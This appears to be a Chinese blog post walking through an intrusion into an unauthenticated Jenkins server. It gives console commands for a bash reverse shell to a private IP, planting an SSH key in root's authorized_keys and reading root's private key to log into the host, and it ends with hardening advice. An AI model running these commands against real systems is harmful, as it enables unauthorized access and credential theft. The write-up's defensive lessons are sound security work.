首页 技术 正文
技术 2022年11月22日
0 收藏 657 点赞 3,473 浏览 1020 个字

Jenkins获取权限的过程



Jenkins存在未授权访问漏洞


Jenkins存在未授权访问漏洞,且项目具有读取权限,通过项目的日志获取到一个账号密码,尝试登录成功,打开控制台成功。

执行命令尝试反弹shell


在对话框中尝试反弹shell,本地NC监听中,发行不行,尝试ping回来,发现网络不通,随即希望正想shell

println 'bash -i >& /dev/tcp/192.168.100.2/4444 0>&1'.execute().text

尝试正向shell


尝试绑定shell

首先确定系统有的命令和账号权限

println 'id'.execute().text
println 'whoami'.execute().text
println 'ls -l /usr/bin/'.execute().text

发现root权限,curl和wget都有,git也有(jenkins肯定有),尝试互联网访问是否可达

println 'curl -v https://www.baidu.com'.execute().text

开始下载正向绑定shell的脚本运行失败。

尝试上传自己的公钥

随即传上去自己的公钥,尝试ssh登录失败

println 'echo 公钥内容 >> /root/.ssh/authroized_keys'.execute().text

本地主机登录ssh失败

ssh -i 私钥 a.b.c.d

查看.ssh目录发现已有的私钥

经过大牛指点,继续尝试搜索主机

println 'ls /root/.ssh/'.execute().text
println 'cat /root/.ssh/id_rsa'.execute().text()

保存在本地私钥,尝试登录成功

ssh -i id_rsa a.b.c.d

Docker的干扰



登上去之后查看失败原因:

原来服务是Docker起的,我绑定的正向shell监听的端口也好,上传的自己的公钥也好都在docker里,而我尝试登录的是宿主机,所以一直有问题,而最后的成功,也是因为docker和宿主机使用了同一套公私钥

安全建议



  • 1、不要配置Jenkinis匿名登录(未登录状态)有任何权限包括读取权限也不行;

  • 2、不要使用弱口令;

  • 3、docker打包时候检查,宿主机环境也要检查,不使用没有key的秘钥,公私钥不要存放在一起,docker和宿主机不要使用同一套公私钥;

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:8,907
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,432
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,247
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,058
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,690
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,728